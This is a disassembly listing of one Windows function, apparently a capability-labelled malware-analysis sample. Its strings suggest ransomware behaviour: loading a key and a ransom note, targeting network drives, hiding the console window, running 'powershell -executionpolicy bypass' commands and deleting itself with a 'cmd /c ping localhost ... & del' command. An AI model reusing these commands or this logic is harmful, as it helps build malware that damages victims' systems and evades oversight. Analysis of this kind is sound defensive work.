Function at 0x416078
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x473bac
mov eax, dword fs:[0]
push eax
mov eax, 0xa178
call fcn.00438c40
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0xc]
push str.__start___n
mov dword [ebp - 0xa184], ebx
call fcn.00402270
mov ecx, dword [0x4939f0]
xor edi, edi
add esp, 4
mov byte [ebp - 0xa16d], 0
xor edx, edx
mov byte [ebp - 0xa16e], 0
mov dword [ebp - 0xa178], 0
mov dword [ebp - 0xa17c], edi
mov dword [ebp - 0xa180], edi
mov dword [ebp - 0xa174], edx
mov byte [ebp - 0xa16f], dl
mov esi, dword [0x4939d4]
cmp ecx, 1
jne 0x415f04
cmp esi, dword [ebp + 8]
jge 0x4160f4
mov eax, dword [ebx + esi*4]
cmp byte [eax], 0x2d
jne 0x4160f4
cmp byte [eax + 1], 0
je 0x4160f4
mov edx, 0x488200
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x415ef1
test bl, bl
je 0x415eed
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x415ef1
add eax, 2
add edx, 2
test bl, bl
jne 0x415ed1
xor eax, eax
jmp 0x415ef6
sbb eax, eax
or eax, 1
test eax, eax
je 0x4160ed
mov ebx, dword [ebp - 0xa184]
mov eax, dword [ebx + esi*4]
movsx edi, byte [eax + ecx]
cmp edi, 0x3a
je 0x416084
push edi
push str.vi:nsdfpk:t:w:V
call fcn.0044ed10
add esp, 8
test eax, eax
je 0x416084
cmp byte [eax + 1], 0x3a
mov esi, dword [0x4939d4]
jne 0x415fb1
mov edx, dword [0x4939f0]
inc edx
add edx, dword [ebx + esi*4]
cmp byte [edx], 0
je 0x415f48
inc esi
jmp 0x415f9e
lea edx, [esi + 1]
mov dword [0x4939d4], edx
cmp edx, dword [ebp + 8]
jl 0x415f98
push 2
call fcn.00452fb4
push eax
push dword [ebx]
call fcn.0045760b
push 2
call fcn.00452fb4
push eax
push str.:_option_requires_an_argument___
call fcn.0045760b
push 2
call fcn.00452fb4
push eax
push edi
call fcn.0045745b
mov ecx, 1
add esp, 0x24
mov dword [0x4939f0], ecx
jmp 0x415ea2
lea esi, [edx + 1]
mov edx, dword [ebx + edx*4]
mov ecx, 1
mov dword [0x4939d4], esi
mov dword [0x4939f0], ecx
jmp 0x415fdb
mov ecx, dword [0x4939f0]
mov eax, dword [ebx + esi*4]
inc ecx
mov dword [0x4939f0], ecx
cmp byte [ecx + eax], 0
jne 0x415fd9
mov ecx, 1
inc esi
mov dword [0x4939f0], ecx
mov dword [0x4939d4], esi
xor edx, edx
mov dword [0x499464], edx
cmp edi, 0xffffffff
je 0x4160f4
add edi, 0xffffffaa
cmp edi, 0x21
ja case.0x415ffd.87
movzx eax, byte [edi + 0x4167bc]
jmp dword [eax*4 + 0x41678c]
mov byte [ebp - 0xa16d], 1
jmp case.0x415ffd.87
mov byte [0x4970c2], 1
jmp case.0x415ffd.87
mov byte [0x4970c0], 1
jmp case.0x415ffd.87
mov dword [ebp - 0xa178], edx
jmp case.0x415ffd.87
mov byte [ebp - 0xa16e], 1
jmp case.0x415ffd.87
mov byte [0x4970c1], 1
jmp case.0x415ffd.87
mov byte [0x4939c0], 0
jmp case.0x415ffd.87
mov dword [ebp - 0xa17c], edx
jmp case.0x415ffd.87
mov dword [ebp - 0xa180], edx
jmp case.0x415ffd.87
mov dword [ebp - 0xa174], edx
jmp case.0x415ffd.87
mov byte [ebp - 0xa16f], 1
jmp case.0x415ffd.87
push 2
call fcn.00452fb4
push eax
push dword [ebx]
call fcn.0045760b
push 2
call fcn.00452fb4
push eax
push str.:_illegal_option___
call fcn.0045760b
push 2
call fcn.00452fb4
push eax
push edi
call fcn.0045745b
mov esi, dword [0x4939d4]
add esp, 0x24
mov ecx, dword [0x4939f0]
inc ecx
mov dword [0x4939f0], ecx
mov eax, dword [ebx + esi*4]
cmp byte [ecx + eax], 0
jne case.0x415ffd.87
inc esi
mov ecx, 1
mov dword [0x4939d4], esi
mov dword [0x4939f0], ecx
jmp case.0x415ffd.87
inc esi
mov dword [0x4939d4], esi
cmp byte [ebp - 0xa16f], 0
je 0x41611f
movsd xmm0, qword [0x488240]
sub esp, 8
movsd qword [esp], xmm0
push str.Version:_.2f_n
call fcn.00402270
add esp, 0xc
jmp 0x416762
cmp byte [ebp - 0xa16d], 0
jne 0x416137
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x4970c2], 0
je 0x41614d
push str.:use_networkdrive_n
call fcn.00402270
add esp, 4
cmp byte [0x4970c0], 0
je 0x416163
push str.:exclude_systemdrive_n
call fcn.00402270
add esp, 4
cmp byte [ebp - 0xa16e], 0
je 0x416179
push str.:do_not_delete_itself_n
call fcn.00402270
add esp, 4
cmp byte [0x4970c1], 0
je 0x41618f
push str.:exclude_systemfolder_n
call fcn.00402270
add esp, 4
cmp byte [0x4939c0], 0
jne 0x4161a5
push str.:do_not_use_preprocess_n
call fcn.00402270
add esp, 4
mov edi, dword [ebp - 0xa17c]
test edi, edi
je 0x4161bd
push edi
push str.:keyfile_path___s_n
call fcn.00402270
add esp, 8
mov ebx, dword [ebp - 0xa180]
test ebx, ebx
je 0x4161d5
push ebx
push str.:note_path___s_n
call fcn.00402270
add esp, 8
mov edi, dword [ebp - 0xa174]
test edi, edi
je 0x41628f
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4161e8
sub ecx, edx
cmp ecx, 0xff
jae 0x41628f
push edi
push str.:initial_run_powershell_path___s_n
call fcn.00402270
push edi
lea eax, [ebp - 0x268]
push str.powershell__executionpolicy_bypass__File__s
push eax
call fcn.00402320
push 1
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0xa154]
call fcn.00414840
add esp, 0x18
mov dword [ebp - 4], 0
mov edx, eax
cmp dword [eax + 0x14], 0x10
jb 0x416241
mov edx, dword [eax]
push dword [eax + 0x10]
call fcn.0041dec0
push eax
call fcn.0041ca30
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov edx, dword [ebp - 0xa140]
cmp edx, 0x10
jb 0x4162e8
mov ecx, dword [ebp - 0xa154]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4162de
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416780
jmp 0x4162de
push str.:initial_run_powershell_from_predefined_variable._n
call fcn.00402270
push dword [0x49e28c]
lea eax, [ebp - 0xa13c]
push str.powershell__Command____s_
push eax
call fcn.00402320
push 1
lea edx, [ebp - 0xa13c]
lea ecx, [ebp - 0xa154]
call fcn.00414840
add esp, 0x14
mov dword [ebp - 4], 1
mov edx, eax
cmp dword [eax + 0x14], 0x10
jb 0x416241
jmp 0x41623f
push edx
push ecx
call fcn.00437a20
add esp, 8
mov ecx, dword [ebp - 0xa17c]
call fcn.00415070
test al, al
jne 0x416309
push str.error:_load_key_n
call fcn.00402270
add esp, 4
jmp 0x416762
mov ecx, ebx
call fcn.00415af0
test al, al
jne 0x416326
push str.error:_load_note_n
call fcn.00402270
add esp, 4
jmp 0x416762
mov esi, dword [0x49e288]
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0xa174], esi
mov edx, 0x28
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00437faf
add esp, 4
mov dword [ebp - 0xa180], eax
push fcn.00401500
push 0x401490
push esi
lea ebx, [eax + 4]
mov dword [ebp - 4], 2
push 0x28
push ebx
mov dword [eax], esi
call fcn.00437fb8
mov dword [ebp - 4], 0xffffffff
xor edi, edi
mov dword [0x4970ec], ebx
cmp dword [0x49e288], edi
jle 0x4163bf
xor esi, esi
nop word [eax + eax]
sub esp, 8
lea ecx, [esi + ebx]
call fcn.00401970
inc edi
lea esi, [esi + 0x28]
cmp edi, dword [0x49e288]
jge 0x4163bf
mov ebx, dword [0x4970ec]
jmp 0x4163a0
call fcn.004056c0
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call ebx
push str.preprocess_n
mov dword [ebp - 0xa174], eax
call fcn.00402270
add esp, 4
cmp byte [0x4939c0], 0
je 0x4163f2
call fcn.004138c0
call fcn.00413b80
mov esi, dword [ebp - 0xa178]
test esi, esi
jne 0x416413
push str.:System_n
call fcn.00402270
add esp, 4
call fcn.00414500
jmp 0x416603
mov ecx, esi
mov dword [ebp - 0xa15c], 0
mov dword [ebp - 0xa158], 0xf
mov byte [ebp - 0xa16c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416433
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xa16c]
call fcn.00401ed0
mov dword [ebp - 4], 3
mov edx, dword [ebp - 0xa15c]
lea esi, [edx - 1]
cmp edx, esi
jbe 0x416785
mov ecx, dword [ebp - 0xa158]
lea eax, [ebp - 0xa16c]
mov edi, dword [ebp - 0xa16c]
cmp ecx, 0x10
cmovae eax, edi
setae byte [ebp - 0xa16d]
mov al, byte [eax + esi]
cmp al, 0x3a
jne 0x4164d1
sub ecx, edx
cmp ecx, 1
lea ecx, [ebp - 0xa16c]
jb 0x4164b6
cmp byte [ebp - 0xa16d], 0
lea eax, [edx + 1]
mov dword [ebp - 0xa15c], eax
mov al, byte [0x487fcc]
cmovne ecx, edi
mov byte [ecx + edx], al
mov byte [ecx + edx + 1], 0
jmp 0x4164d1
push 1
push 0x487fcc
mov byte [ebp - 0xa178], 0
push dword [ebp - 0xa178]
push 1
call fcn.0041d270
push 0x50
lea eax, [ebp - 0x60]
push 0
push eax
call fcn.0044f430
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.004178c0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa16c]
cmp dword [ebp - 0xa158], 0x10
mov eax, dword [ebp - 0xa15c]
cmovae ecx, dword [ebp - 0xa16c]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xa154]
push eax
lea ecx, [ebp - 0x60]
call fcn.00419d90
lea ecx, [ebp - 0x60]
call fcn.00417800
mov byte [ebp - 4], 5
lea eax, [ebp - 0xa154]
cmp dword [ebp - 0xa140], 8
cmovae eax, dword [ebp - 0xa154]
push eax
push str.:In_Path___ws_n
call fcn.00402270
add esp, 8
lea ecx, [ebp - 0xa154]
cmp dword [ebp - 0xa140], 8
cmovae ecx, dword [ebp - 0xa154]
call fcn.004114c0
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0xa140]
cmp edx, 8
jb 0x4165a5
mov ecx, dword [ebp - 0xa154]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41659b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416780
push edx
push ecx
call fcn.00437a20
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xa158]
mov dword [ebp - 0xa144], 0
mov dword [ebp - 0xa140], 7
mov word [ebp - 0xa154], ax
cmp edx, 0x10
jb 0x416603
mov ecx, dword [ebp - 0xa16c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4165f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416780
push edx
push ecx
call fcn.00437a20
add esp, 8
call ebx
sub eax, dword [ebp - 0xa174]
push eax
call fcn.0041c780
mov ecx, eax
call fcn.004167e0
push eax
call fcn.0041ca30
mov ecx, dword [0x4970ec]
add esp, 4
test ecx, ecx
je 0x416647
cmp dword [ecx - 4], 0
lea eax, [ecx - 4]
je 0x41663c
mov eax, dword [ecx]
push 3
call dword [eax]
jmp 0x416647
push 4
push eax
call fcn.00437a56
add esp, 8
cmp byte [ebp - 0xa16e], 0
jne 0x416762
push 0xc8
lea eax, [ebp - 0x13c]
push 0
push eax
call fcn.0044f430
push 0x64
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.0044f430
mov ecx, dword [ebp - 0xa184]
add esp, 0x18
mov ecx, dword [ecx]
mov edx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x416684
sub edx, esi
cmp edx, 4
jbe 0x4166ef
mov esi, ecx
lea edx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x416697
sub esi, edx
lea eax, [ecx - 4]
mov edx, str..exe
add eax, esi
nop word [eax + eax]
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x4166d0
test bl, bl
je 0x4166cc
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x4166d0
add eax, 2
add edx, 2
test bl, bl
jne 0x4166b0
xor eax, eax
jmp 0x4166d5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4166ef
lea edx, [ebp - 0x74]
sub edx, ecx
nop
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x4166e0
jmp 0x416701
push ecx
lea eax, [ebp - 0x74]
push str._s.exe
push eax
call fcn.00402320
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x13c]
push str.cmd__c_ping_localhost__n_3___nul__del__s
push eax
call fcn.00402320
push 0
lea edx, [ebp - 0x13c]
lea ecx, [ebp - 0xa154]
call fcn.00414840
mov edx, dword [ebp - 0xa140]
add esp, 0x10
cmp edx, 0x10
jb 0x416762
mov ecx, dword [ebp - 0xa154]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416758
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416780
push edx
push ecx
call fcn.00437a20
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004379df
mov esp, ebp
pop ebp
ret
call fcn.0045279a
call fcn.0041ba10
nop
js 0x4167ee
inc ecx
add byte [ebx], dh
pushal
inc ecx
add byte [edi], bh
pushal
inc ecx
add byte [eax], ch
pushal
inc ecx
add byte [edi + 0x60], dl
inc ecx
add byte [eax], dl
pushal
inc ecx
add byte [ebx + 0x60], cl
inc ecx
add byte [eax], bl
inc ecx
add byte [edx + 0x60], ah
inc ecx
add byte [eax], al
inc ecx
add byte [ebp + 0x60], ch
inc ecx
add byte [eax + 0x415e], ch
or ecx, dword [ebx]
or ecx, dword [ebx]
or ecx, dword [ebx]
or ecx, dword [ebx]
or ecx, dword [ebx]
or ecx, dword [ebx]
or eax, dword [ecx]
or eax, dword [edx]
or ecx, dword [ebx]
add ecx, dword [ebx]
add al, 11
or eax, dword [185271819]
pop es
or byte [ebx], cl
or dword [edx], ecx
int3
add byte [eax], al
push eax
sub esp, 0x6c
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov edx, dword [esi]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
mov eax, dword [edx + 4]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], esi
mov ecx, dword [eax + esi + 0x38]
test ecx, ecx
je 0x416835
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esi]
mov dword [ebp - 4], 0
mov eax, dword [edx + 4]
cmp dword [eax + esi + 0xc], 0
lea ecx, [eax + esi]
je 0x41684d
xor al, al
jmp 0x416871
mov eax, dword [ecx + 0x3c]
test eax, eax
je 0x41686f
cmp eax, esi
je 0x41686f
mov ecx, eax
call fcn.0041b600
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
cmp dword [ecx + 0xc], 0
sete al
jmp 0x416871
mov al, 1
mov byte [ebp - 0x38], al
mov dword [ebp - 4], 1
test al, al
je 0x416a05
mov eax, dword [ecx + 0x30]
mov ebx, dword [eax + 4]
mov ecx, ebx
mov dword [ebp - 0x40], ebx
mov eax, dword [ebx]
call dword [eax + 4]
push 0
lea ecx, [ebp - 0x24]
call fcn.0042028e
mov byte [ebp - 4], 3
mov ecx, dword [0x49e8f8]
mov eax, dword [0x49e2c4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
test ecx, ecx
jne 0x4168e9
push ecx
lea ecx, [ebp - 0x1c]
call fcn.0042028e
cmp dword [0x49e8f8], 0
jne 0x4168d8
mov eax, dword [0x496208]
inc eax
mov dword [0x496208], eax
mov dword [0x49e8f8], eax
lea ecx, [ebp - 0x1c]
call fcn.004202e6
mov ecx, dword [0x49e8f8]
mov dword [ebp - 0x1c], ecx
cmp ecx, dword [ebx + 0xc]
jae 0x4168fe
mov eax, dword [ebx + 8]
mov edi, dword [eax + ecx*4]
test edi, edi
jne 0x416980
jmp 0x416900
xor edi, edi
cmp byte [ebx + 0x14], 0
je 0x416919
call fcn.00423dfd
mov edi, dword [ebp - 0x1c]
cmp edi, dword [eax + 0xc]
jae 0x41691d
mov eax, dword [eax + 8]
mov edi, dword [eax + edi*4]
test edi, edi
jne 0x416980
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x416928
mov edi, eax
jmp 0x416980
push 8
call fcn.004379f0
mov edi, eax
add esp, 4
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 4
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x416945
lea eax, [ebx + 0x1c]
push eax
lea ecx, [ebp - 0x78]
call fcn.00402d70
lea ecx, [ebp - 0x78]
mov dword [edi + 4], 0
mov dword [edi], vtable.std::num_put_char__class_std::ostreambuf_iterator_char__struct_std::char_traits_char___.0
call fcn.00402e20
mov dword [ebp - 0x18], edi
push edi
mov byte [ebp - 4], 5
call fcn.00423dd1
mov eax, dword [edi]
add esp, 4
mov ecx, edi
call dword [eax + 4]
mov dword [0x49e2c4], edi
lea ecx, [ebp - 0x24]
call fcn.004202e6
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x41699b
mov eax, dword [ecx]
push 1
call dword [eax]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x30]
mov eax, dword [esi]
push dword [ebp - 0x2c]
mov byte [ebp - 0x20], 0
mov edx, dword [eax + 4]
mov al, byte [edx + esi + 0x40]
add edx, esi
mov byte [ebp - 0x18], al
push dword [ebp - 0x18]
mov eax, dword [edi]
push edx
push dword [edx + 0x38]
push dword [ebp - 0x20]
push ecx
mov ecx, edi
call dword [eax + 0x20]
xor ebx, ebx
mov edx, 4
cmp byte [ebp - 0x30], bl
mov dword [ebp - 4], 1
cmovne ebx, edx
jmp 0x416a0a
mov edx, 4
mov eax, dword [esi]
xor edi, edi
push 0
mov ecx, dword [eax + 4]
mov eax, dword [ecx + esi + 0xc]
add ecx, esi
or eax, ebx
cmp dword [ecx + 0x38], edi
cmovne edx, edi
or edx, eax
push edx
call fcn.00403650
mov dword [ebp - 4], 8
call fcn.00424048
test al, al
jne 0x416a40
mov ecx, esi
call fcn.0041b6c0
mov byte [ebp - 4], 9
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + esi + 0x38]
test ecx, ecx
je 0x416a56
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004379df
mov esp, ebp
pop ebp
ret 4